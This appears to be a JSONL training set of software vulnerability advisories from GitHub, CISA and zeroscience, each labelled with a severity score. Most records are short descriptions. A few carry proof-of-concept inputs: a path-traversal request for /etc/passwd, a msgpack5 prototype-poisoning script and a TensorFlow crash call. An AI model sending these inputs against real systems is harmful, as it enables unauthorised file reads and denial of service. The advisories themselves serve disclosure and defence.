-{"id": "5f55c142743b48c04b8b", "text": "rendertron XSS vulnerability\n\nError reporting within Rendertron 1.0.0 allows reflected Cross Site Scripting (XSS) from invalid URLs.", "text_raw": "rendertron XSS vulnerability\n\n[Severity: MEDIUM]\n\nError reporting within Rendertron 1.0.0 allows reflected Cross Site Scripting (XSS) from invalid URLs.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-07", "split": "train"}
-{"id": "90402e15868aaa5ff3fc", "text": "Legrand BTicino Driver Manager F454 1.0.51 Authenticated Stored XSS Exploit", "text_raw": "Legrand BTicino Driver Manager F454 1.0.51 Authenticated Stored XSS Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-05-15", "split": "train"}
-{"id": "7c409def4012be58636d", "text": "ArticleFR 3.0.6 CSRF Add Admin Exploit", "text_raw": "ArticleFR 3.0.6 CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-07-13", "split": "train"}
-{"id": "06e3acfc363ed63d27cd", "text": "VMware vCenter Server Information Disclosure Vulnerability\n\nAffected: VMware vCenter Server\n\nVMware vCenter Server contains an information disclosure vulnerability in the VMware Directory Service (vmdir) when the Platform Services Controller (PSC) does not correctly implement access controls. Successful exploitation allows an attacker with network access to port 389 to extract sensitive information.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-306\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "VMware vCenter Server Information Disclosure Vulnerability\n\nAffected: VMware vCenter Server\n\nVMware vCenter Server contains an information disclosure vulnerability in the VMware Directory Service (vmdir) when the Platform Services Controller (PSC) does not correctly implement access controls. Successful exploitation allows an attacker with network access to port 389 to extract sensitive information.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-306\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "e490e0fe99b46a236df7", "text": "Directory Traversal in wffserve\n\nAffected versions of `wffserve` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in wffserve\n\n[Severity: HIGH]\n\nAffected versions of `wffserve` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "b24425bf7bc03329b41b", "text": "Microsoft Windows Print Spooler Remote Code Execution Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Print Spooler contains an unspecified vulnerability due to the Windows Print Spooler service improperly performing privileged file operations. Successful exploitation allows an attacker to perform remote code execution with SYSTEM privileges. The vulnerability is also known under the moniker of PrintNightmare.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-269\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Print Spooler Remote Code Execution Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Print Spooler contains an unspecified vulnerability due to the Windows Print Spooler service improperly performing privileged file operations. Successful exploitation allows an attacker to perform remote code execution with SYSTEM privileges. The vulnerability is also known under the moniker of PrintNightmare.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-269\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "ab58bb2f3e1dc8894ab8", "text": "Server-Side Request Forgery (SSRF) in org.apache.solr:solr-core\n\nServer Side Request Forgery in Apache Solr, versions 1.3 until 7.6 (inclusive). Since the \"shards\" parameter does not have a corresponding whitelist mechanism, a remote attacker with access to the server could make Solr perform an HTTP GET request to any reachable URL.", "text_raw": "Server-Side Request Forgery (SSRF) in org.apache.solr:solr-core\n\n[Severity: HIGH]\n\nServer Side Request Forgery in Apache Solr, versions 1.3 until 7.6 (inclusive). Since the \"shards\" parameter does not have a corresponding whitelist mechanism, a remote attacker with access to the server could make Solr perform an HTTP GET request to any reachable URL.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-14", "split": "train"}
-{"id": "87a37ec6cfd283484e4f", "text": "Prototype Pollution in deepmergefn\n\nAll versions of package deepmergefn are vulnerable to Prototype Pollution via deepMerge function.", "text_raw": "Prototype Pollution in deepmergefn\n\n[Severity: MEDIUM]\n\nAll versions of package deepmergefn are vulnerable to Prototype Pollution via deepMerge function.\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-10", "split": "train"}
-{"id": "9faecb500b21eb93616b", "text": "Sanitizer bypass in svg-sanitizer\n\nIt is possible to bypass enshrined/svg-sanitize before 0.13.1 using the \"xlink:href\" attribute due to mishandling of the xlink namespace by the sanitizer.", "text_raw": "Sanitizer bypass in svg-sanitizer\n\n[Severity: MEDIUM]\n\nIt is possible to bypass enshrined/svg-sanitize before 0.13.1 using the \"xlink:href\" attribute due to mishandling of the xlink namespace by the sanitizer.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-27", "split": "train"}
-{"id": "5505e90d7c48e80f9982", "text": "COMMAX Smart Home Ruvie CCTV Bridge DVR Service Unauthenticated Config Write / DoS", "text_raw": "COMMAX Smart Home Ruvie CCTV Bridge DVR Service Unauthenticated Config Write / DoS\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-08-15", "split": "train"}
-{"id": "71eb5e8d5ac0137a73ae", "text": "Uncontrolled Search Path Element in sharkdp/bat\n\nbat on windows before 0.18.2 executes programs named less.exe from the current working directory. This can lead to unintended code execution.", "text_raw": "Uncontrolled Search Path Element in sharkdp/bat\n\n[Severity: HIGH]\n\nbat on windows before 0.18.2 executes programs named less.exe from the current working directory. This can lead to unintended code execution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "f2b41cb4198a9a3e23d2", "text": "Prototype poisoning\n\n### Impact\n\nThe issue is as follows: when `msgpack5` decodes a map containing a \nkey `\"__proto__\"`, it assigns the decoded value to `__proto__`. As you \nare no doubt aware, `Object.prototype.__proto__` is an accessor \nproperty for the receiver's prototype. If the value corresponding to \nthe key `__proto__` decodes to an object or `null`, `msgpack5` sets \nthe decoded object's prototype to that value.\n\nAn attacker who can submit crafted MessagePack data to a service can \nuse this to produce values that appear to be of other types; may have \nunexpected prototype properties and methods (for example `length`, \nnumeric properties, and `push` et al if `__proto__`'s value decodes to \nan `Array`); and/or may throw unexpected exceptions when used (for \nexample if the `__proto__` value decodes to a `Map` or `Date`). Other \nunexpected behavior might be produced for other types.\n\nThere is no effect on the global prototype.\n\nAn example:\n\n```js \nconst msgpack5 = require('msgpack5')();\n\nconst payload = {}; \nObject.defineProperty(payload, '__proto__', { \nvalue: new Map().set(1, 2), \nenumerable: true \n});\n\nconst encoded = msgpack5.encode(payload); \nconsole.log(encoded); // <Buffer 81 a9 5f 5f 70 72 6f 74 6f 5f 5f 81 01 02>\n\nconst decoded = msgpack5.decode(encoded);\n\n// decoded's prototype has been overwritten \nconsole.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 => 2 } \nconsole.log(decoded.get); // [Function: get]\n\n// decoded appears to most common typechecks to be a Map \nconsole.log(decoded instanceof Map); // true \nconsole.log(decoded.toString()); // [object Map] \nconsole.log(Object.prototype.toString.call(decoded)); // [object Map] \nconsole.log(decoded.constructor.name); // Map \nconsole.log(Object.getPrototypeOf(decoded).constructor.name); // Map\n\n// decoded is not, however, a Map \nconsole.log(Object.getPrototypeOf(decoded) === Map.prototype); // false\n\n// using decoded as though it were a Map throws \ntry { \ndecoded.get(1); \n} catch (error) { \nconsole.log(error); // TypeError: Method Map.prototype.get called \n// on incompatible receiver #<Map> \n} \ntry { \ndecoded.size; \n} catch (error) { \nconsole.log(error); // TypeError: Method get Map.prototype.size \n// called on incompatible receiver #<Map> \n}\n\n// re-encoding the decoded value throws \ntry { \nmsgpack5.encode(decoded); \n} catch (error) { \nconsole.log(error); // TypeError: Method Map.prototype.entries \n// called on incompatible receiver #<Map> \n} \n```\n\nThis \"prototype poisoning\" is sort of a very limited inversion of a \nprototype pollution attack. Only the decoded value's prototype is \naffected, and it can only be set to `msgpack5` values (though if the \nvictim makes use of custom codecs, anything could be a `msgpack5` \nvalue). We have not found a way to escalate this to true prototype \npollution (absent other bugs in the consumer's code).\n\n### Patches\n\nVersions v5.2.1, v4.5.1, v3.6.1 include the fix.\n\n### Workarounds\n\nAlways validate incoming data after parsing before doing any processing.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)", "text_raw": "Prototype poisoning\n\n[Severity: MEDIUM]\n\n### Impact\n\nThe issue is as follows: when `msgpack5` decodes a map containing a \nkey `\"__proto__\"`, it assigns the decoded value to `__proto__`. As you \nare no doubt aware, `Object.prototype.__proto__` is an accessor \nproperty for the receiver's prototype. If the value corresponding to \nthe key `__proto__` decodes to an object or `null`, `msgpack5` sets \nthe decoded object's prototype to that value. \n\nAn attacker who can submit crafted MessagePack data to a service can \nuse this to produce values that appear to be of other types; may have \nunexpected prototype properties and methods (for example `length`, \nnumeric properties, and `push` et al if `__proto__`'s value decodes to \nan `Array`); and/or may throw unexpected exceptions when used (for \nexample if the `__proto__` value decodes to a `Map` or `Date`). Other \nunexpected behavior might be produced for other types. \n\nThere is no effect on the global prototype.\n\nAn example: \n\n```js \nconst msgpack5 = require('msgpack5')(); \n\nconst payload = {}; \nObject.defineProperty(payload, '__proto__', { \nvalue: new Map().set(1, 2), \nenumerable: true \n}); \n\nconst encoded = msgpack5.encode(payload); \nconsole.log(encoded); // <Buffer 81 a9 5f 5f 70 72 6f 74 6f 5f 5f 81 01 02> \n\nconst decoded = msgpack5.decode(encoded); \n\n// decoded's prototype has been overwritten \nconsole.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 => 2 } \nconsole.log(decoded.get); // [Function: get] \n\n// decoded appears to most common typechecks to be a Map \nconsole.log(decoded instanceof Map); // true \nconsole.log(decoded.toString()); // [object Map] \nconsole.log(Object.prototype.toString.call(decoded)); // [object Map] \nconsole.log(decoded.constructor.name); // Map \nconsole.log(Object.getPrototypeOf(decoded).constructor.name); // Map \n\n// decoded is not, however, a Map \nconsole.log(Object.getPrototypeOf(decoded) === Map.prototype); // false \n\n// using decoded as though it were a Map throws \ntry { \ndecoded.get(1); \n} catch (error) { \nconsole.log(error); // TypeError: Method Map.prototype.get called \n// on incompatible receiver #<Map> \n} \ntry { \ndecoded.size; \n} catch (error) { \nconsole.log(error); // TypeError: Method get Map.prototype.size \n// called on incompatible receiver #<Map> \n} \n\n// re-encoding the decoded value throws \ntry { \nmsgpack5.encode(decoded); \n} catch (error) { \nconsole.log(error); // TypeError: Method Map.prototype.entries \n// called on incompatible receiver #<Map> \n} \n``` \n\nThis \"prototype poisoning\" is sort of a very limited inversion of a \nprototype pollution attack. Only the decoded value's prototype is \naffected, and it can only be set to `msgpack5` values (though if the \nvictim makes use of custom codecs, anything could be a `msgpack5` \nvalue). We have not found a way to escalate this to true prototype \npollution (absent other bugs in the consumer's code). \n\n### Patches\n\nVersions v5.2.1, v4.5.1, v3.6.1 include the fix.\n\n### Workarounds\n\nAlways validate incoming data after parsing before doing any processing.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-12", "split": "train"}
-{"id": "250e62e8a347d4c4683a", "text": "Regular Expression Denial of Service in papaparse\n\nVersions of `papaparse` prior to 5.2.0 are vulnerable to Regular Expression Denial of Service (ReDos). The `parse` function contains a malformed regular expression that takes exponentially longer to process non-numerical inputs. This allows attackers to stall systems and lead to Denial of Service.\n\n## Recommendation\n\nUpgrade to version 5.2.0 or later.", "text_raw": "Regular Expression Denial of Service in papaparse\n\n[Severity: HIGH]\n\nVersions of `papaparse` prior to 5.2.0 are vulnerable to Regular Expression Denial of Service (ReDos). The `parse` function contains a malformed regular expression that takes exponentially longer to process non-numerical inputs. This allows attackers to stall systems and lead to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 5.2.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "e7468de93ba3dabef433", "text": "Apache Tika allows Java code execution for serialized objects embedded in MATLAB files\n\nApache Tika before 1.14 allows Java code execution for serialized objects embedded in MATLAB files. The issue exists because Tika invokes JMatIO to do native deserialization.", "text_raw": "Apache Tika allows Java code execution for serialized objects embedded in MATLAB files\n\n[Severity: CRITICAL]\n\nApache Tika before 1.14 allows Java code execution for serialized objects embedded in MATLAB files. The issue exists because Tika invokes JMatIO to do native deserialization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "0c295a294994bd0e2adf", "text": "Django Denial-of-service in django.utils.text.Truncator\n\nAn issue was discovered in Django 1.11.x before 1.11.23, 2.1.x before 2.1.11, and 2.2.x before 2.2.4. If `django.utils.text.Truncator`'s `chars()` and `words()` methods were passed the `html=True` argument, they were extremely slow to evaluate certain inputs due to a catastrophic backtracking vulnerability in a regular expression. The `chars()` and `words()` methods are used to implement the `truncatechars_htm`l and `truncatewords_html` template filters, which were thus vulnerable.", "text_raw": "Django Denial-of-service in django.utils.text.Truncator\n\n[Severity: HIGH]\n\nAn issue was discovered in Django 1.11.x before 1.11.23, 2.1.x before 2.1.11, and 2.2.x before 2.2.4. If `django.utils.text.Truncator`'s `chars()` and `words()` methods were passed the `html=True` argument, they were extremely slow to evaluate certain inputs due to a catastrophic backtracking vulnerability in a regular expression. The `chars()` and `words()` methods are used to implement the `truncatechars_htm`l and `truncatewords_html` template filters, which were thus vulnerable.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-06", "split": "train"}
-{"id": "e1a5662cd72786e37cd4", "text": "When reading a specially crafted ZIP archive, the read method of Apache Commons Compress 1.7 to 1.17's ZipArchiveInputStream can fail to return the correct EOF indication after the end of the stream has been reached. When combined with a java.io.InputStreamReader this can lead to an infinite stream, which can be used to mount a denial of service attack against services that use Compress' zip package.", "text_raw": "Moderate severity vulnerability that affects org.apache.commons:commons-compress\n\n[Severity: MEDIUM]\n\nWhen reading a specially crafted ZIP archive, the read method of Apache Commons Compress 1.7 to 1.17's ZipArchiveInputStream can fail to return the correct EOF indication after the end of the stream has been reached. When combined with a java.io.InputStreamReader this can lead to an infinite stream, which can be used to mount a denial of service attack against services that use Compress' zip package.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "9c6421d1635d0c9e83a7", "text": "python-gnupg's shell_quote function does not properly escape characters\n\nThe shell_quote function in python-gnupg 0.3.5 does not properly escape characters, which allows context-dependent attackers to execute arbitrary code via shell metacharacters in unspecified vectors, as demonstrated using \"\\\" (backslash) characters to form multi-command sequences, a different vulnerability than CVE-2014-1927.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2013-7323.", "text_raw": "python-gnupg's shell_quote function does not properly escape characters\n\n[Severity: HIGH]\n\nThe shell_quote function in python-gnupg 0.3.5 does not properly escape characters, which allows context-dependent attackers to execute arbitrary code via shell metacharacters in unspecified vectors, as demonstrated using \"\\\" (backslash) characters to form multi-command sequences, a different vulnerability than CVE-2014-1927.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2013-7323.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-06", "split": "train"}
-{"id": "41d41fdad021c89ca65c", "text": "Uncontrolled Resource Consumption in JPA Server in HAPI FHIR\n\nJPA Server in HAPI FHIR before 5.4.0 allows a user to deny service (e.g., disable access to the database after the attack stops) via history requests. This occurs because of a SELECT COUNT statement that requires a full index scan, with an accompanying large amount of server resources if there are many simultaneous history requests.", "text_raw": "Uncontrolled Resource Consumption in JPA Server in HAPI FHIR\n\n[Severity: MEDIUM]\n\nJPA Server in HAPI FHIR before 5.4.0 allows a user to deny service (e.g., disable access to the database after the attack stops) via history requests. This occurs because of a SELECT COUNT statement that requires a full index scan, with an accompanying large amount of server resources if there are many simultaneous history requests.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "d664e989660e7184e323", "text": "Algorithms compute incorrect results in blake2\n\nAn issue was discovered in the blake2 crate before 0.8.1 for Rust. The BLAKE2b and BLAKE2s algorithms, when used with HMAC, produce incorrect results because the block sizes are half of the required sizes.", "text_raw": "Algorithms compute incorrect results in blake2\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the blake2 crate before 0.8.1 for Rust. The BLAKE2b and BLAKE2s algorithms, when used with HMAC, produce incorrect results because the block sizes are half of the required sizes.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "3d5572107fe1a3452b76", "text": "ember-source vulnerable to Cross-site Scripting\n\nCross-site scripting (XSS) vulnerability in Ember.js 1.10.x before 1.10.1 and 1.11.x before 1.11.2.", "text_raw": "ember-source vulnerable to Cross-site Scripting\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in Ember.js 1.10.x before 1.10.1 and 1.11.x before 1.11.2.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-28", "split": "train"}
-{"id": "0e3e833fd121d32020a6", "text": "Path traversal in bolt/core\n\nController/Backend/FileEditController.php and Controller/Backend/FilemanagerController.php in Bolt before 4.1.13 allow Directory Traversal.", "text_raw": "Path traversal in bolt/core\n\n[Severity: HIGH]\n\nController/Backend/FileEditController.php and Controller/Backend/FilemanagerController.php in Bolt before 4.1.13 allow Directory Traversal.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-18", "split": "train"}
-{"id": "5ce3dba576bdb8667c5e", "text": "Infinite Loop in jsonparser\n\nThe Library API in buger jsonparser through 2019-12-04 allows attackers to cause a denial of service (infinite loop) via a Delete call.", "text_raw": "Infinite Loop in jsonparser\n\n[Severity: HIGH]\n\nThe Library API in buger jsonparser through 2019-12-04 allows attackers to cause a denial of service (infinite loop) via a Delete call.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "be7705034a2a53ce0fea", "text": "cumulative-distribution-function Infinite Loop vulnerability\n\n### Impact\n\n* Apps using this library on improper data may crash or go into an infinite-loop\n* In the case of a nodejs server-app using this library to act on invalid non-numeric data, the nodejs server may crash.  This may affect other users of this server and/or require the server to be rebooted for proper operation.  \n* In the case of a browser app using this library to act on invalid non-numeric data, that browser may crash or lock up.\n\nA flaw enabling an infinite-loop was discovered in the code for evaluating the cumulative-distribution-function\nof input data.   Although the documentation explains that numeric data is required, some users may confuse an array\nof strings like [\"1\",\"2\",\"3\",\"4\",\"5\"] for numeric data [1,2,3,4,5] when it is in fact string data.  An infinite loop is possible when the \ncumulative-distribution-function  is evaluated for a given point when the input data is string data rather than type `number`.\n\nThis vulnerability enables an infinite-cpu-loop denial-of-service-attack on any app using npm:cumulative-distribution-function v1.0.3 or earlier if the attacker can supply malformed data to the library.  The vulnerability could also manifest if a data source to\nbe analyzed changes data type from Arrays of number (proper) to Arrays of string (invalid, but undetected by earlier version of the library).\n\n### Patches\n\nUsers should upgrade to at least v2.0.0, or the latest version.\n\nTests for several types of invalid data have been created, and version 2.0.0 has been tested to reject this invalid data by\nthrowing a `TypeError()` instead of processing it.  Developers using this library may wish to adjust their app's code slightly to better tolerate or handle this TypeError.  Apps performing proper numeric data validation before sending data to this library should be mostly unaffected by this patch.\n\n### Workarounds\n\nThe vulnerability can be mitigated in older versions by ensuring that only finite numeric data of type `Array[number]` or `number` is passed to `cumulative-distribution-function` and its `f(x)` function, respectively.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the Github repository at https://github.com/DrPaulBrewer/cumulative-distribution-function", "text_raw": "cumulative-distribution-function Infinite Loop vulnerability\n\n[Severity: HIGH]\n\n### Impact\n\n* Apps using this library on improper data may crash or go into an infinite-loop\n* In the case of a nodejs server-app using this library to act on invalid non-numeric data, the nodejs server may crash.  This may affect other users of this server and/or require the server to be rebooted for proper operation.  \n* In the case of a browser app using this library to act on invalid non-numeric data, that browser may crash or lock up.\n\nA flaw enabling an infinite-loop was discovered in the code for evaluating the cumulative-distribution-function\nof input data.   Although the documentation explains that numeric data is required, some users may confuse an array\nof strings like [\"1\",\"2\",\"3\",\"4\",\"5\"] for numeric data [1,2,3,4,5] when it is in fact string data.  An infinite loop is possible when the \ncumulative-distribution-function  is evaluated for a given point when the input data is string data rather than type `number`.  \n\nThis vulnerability enables an infinite-cpu-loop denial-of-service-attack on any app using npm:cumulative-distribution-function v1.0.3 or earlier if the attacker can supply malformed data to the library.  The vulnerability could also manifest if a data source to\nbe analyzed changes data type from Arrays of number (proper) to Arrays of string (invalid, but undetected by earlier version of the library).\n\n### Patches\n\nUsers should upgrade to at least v2.0.0, or the latest version.\n\nTests for several types of invalid data have been created, and version 2.0.0 has been tested to reject this invalid data by\nthrowing a `TypeError()` instead of processing it.  Developers using this library may wish to adjust their app's code slightly to better tolerate or handle this TypeError.  Apps performing proper numeric data validation before sending data to this library should be mostly unaffected by this patch.  \n\n### Workarounds\n\nThe vulnerability can be mitigated in older versions by ensuring that only finite numeric data of type `Array[number]` or `number` is passed to `cumulative-distribution-function` and its `f(x)` function, respectively.  \n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the Github repository at https://github.com/DrPaulBrewer/cumulative-distribution-function", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-04", "split": "train"}
-{"id": "21097ca1988b87d4b831", "text": "Mutable reference with immutable provenance in image\n\nA mutable reference to a struct was constructed by dereferencing a pointer obtained from slice::as_ptr. Instead, slice::as_mut_ptr should have been called on the mutable slice argument. The former performs an implicit reborrow as an immutable shared reference which does not allow writing through the derived pointer.", "text_raw": "Mutable reference with immutable provenance in image\n\n[Severity: MEDIUM]\n\nA mutable reference to a struct was constructed by dereferencing a pointer obtained from slice::as_ptr. Instead, slice::as_mut_ptr should have been called on the mutable slice argument. The former performs an implicit reborrow as an immutable shared reference which does not allow writing through the derived pointer.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "c1fd932d4372b1711c08", "text": "Division by 0 in inplace operations\n\n### Impact\nAn attacker can cause a floating point exception by calling inplace operations with crafted arguments that would result in a division by 0:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.InplaceSub(x=[],i=[-99,-1,-1],v=[1,1,1])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/inplace_ops.cc#L283) has a logic error: it should skip processing if `x` and `v` are empty but the code uses `||` instead of `&&`.\n\n### Patches\nWe have patched the issue in GitHub commit [e86605c0a336c088b638da02135ea6f9f6753618](https://github.com/tensorflow/tensorflow/commit/e86605c0a336c088b638da02135ea6f9f6753618).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by 0 in inplace operations\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker can cause a floating point exception by calling inplace operations with crafted arguments that would result in a division by 0:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.InplaceSub(x=[],i=[-99,-1,-1],v=[1,1,1])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/inplace_ops.cc#L283) has a logic error: it should skip processing if `x` and `v` are empty but the code uses `||` instead of `&&`.\n\n### Patches\nWe have patched the issue in GitHub commit [e86605c0a336c088b638da02135ea6f9f6753618](https://github.com/tensorflow/tensorflow/commit/e86605c0a336c088b638da02135ea6f9f6753618).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "f363d45aaf2acf5f9fcf", "text": "OS Command Injection in pulverizr\n\npulverizr through 0.7.0 allows execution of arbitrary commands. Within `lib/job.js`, the variable `filename` can be controlled by the attacker. This function uses the variable &quot;filename&quot; to construct the argument of the exec call without any sanitization. In order to successfully exploit this vulnerability, an attacker will need to create a new file with the same name as the attack command.", "text_raw": "OS Command Injection in pulverizr\n\n[Severity: CRITICAL]\n\npulverizr through 0.7.0 allows execution of arbitrary commands. Within `lib/job.js`, the variable `filename` can be controlled by the attacker. This function uses the variable &quot;filename&quot; to construct the argument of the exec call without any sanitization. In order to successfully exploit this vulnerability, an attacker will need to create a new file with the same name as the attack command.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "5b37d047108c3d8f1e1f", "text": "Incorrect Default Permissions in keyring\n\nPython keyring has insecure permissions on new databases, allowing world-readable files to be created.", "text_raw": "Incorrect Default Permissions in keyring\n\n[Severity: HIGH]\n\nPython keyring has insecure permissions on new databases, allowing world-readable files to be created.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-10", "split": "train"}
-{"id": "1f694f611e9b4a9dafbd", "text": "Code injection in `saved_model_cli`\n\n### Impact\nTensorFlow's `saved_model_cli` tool is vulnerable to a code injection as it [calls `eval` on user supplied strings](https://github.com/tensorflow/tensorflow/blob/87462bfac761435a46641ff2f10ad0b6e5414a4b/tensorflow/python/tools/saved_model_cli.py#L524-L550)\n\n```python\ndef preprocess_input_exprs_arg_string(input_exprs_str):\n  ... \n  for input_raw in filter(bool, input_exprs_str.split(';')):\n    ...\n    input_key, expr = input_raw.split('=', 1)\n    input_dict[input_key] = eval(expr)\n  ...\n```\n\nThis can be used by attackers to run arbitrary code on the plaform where the CLI tool runs.\nHowever, given that the tool is always run manually, the impact of this is not severe. We have patched this by adding a `safe` flag which defaults to `True` and an explicit warning for users.\n\n### Patches\nWe have patched the issue in GitHub commit [8b202f08d52e8206af2bdb2112a62fafbc546ec7](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Omer Kaspi from Vdoo.", "text_raw": "Code injection in `saved_model_cli`\n\n[Severity: MEDIUM]\n\n### Impact\nTensorFlow's `saved_model_cli` tool is vulnerable to a code injection as it [calls `eval` on user supplied strings](https://github.com/tensorflow/tensorflow/blob/87462bfac761435a46641ff2f10ad0b6e5414a4b/tensorflow/python/tools/saved_model_cli.py#L524-L550)\n  \n```python\ndef preprocess_input_exprs_arg_string(input_exprs_str):\n  ... \n  for input_raw in filter(bool, input_exprs_str.split(';')):\n    ...\n    input_key, expr = input_raw.split('=', 1)\n    input_dict[input_key] = eval(expr)\n  ...\n``` \n  \nThis can be used by attackers to run arbitrary code on the plaform where the CLI tool runs.\nHowever, given that the tool is always run manually, the impact of this is not severe. We have patched this by adding a `safe` flag which defaults to `True` and an explicit warning for users. \n\n### Patches\nWe have patched the issue in GitHub commit [8b202f08d52e8206af2bdb2112a62fafbc546ec7](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Omer Kaspi from Vdoo.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
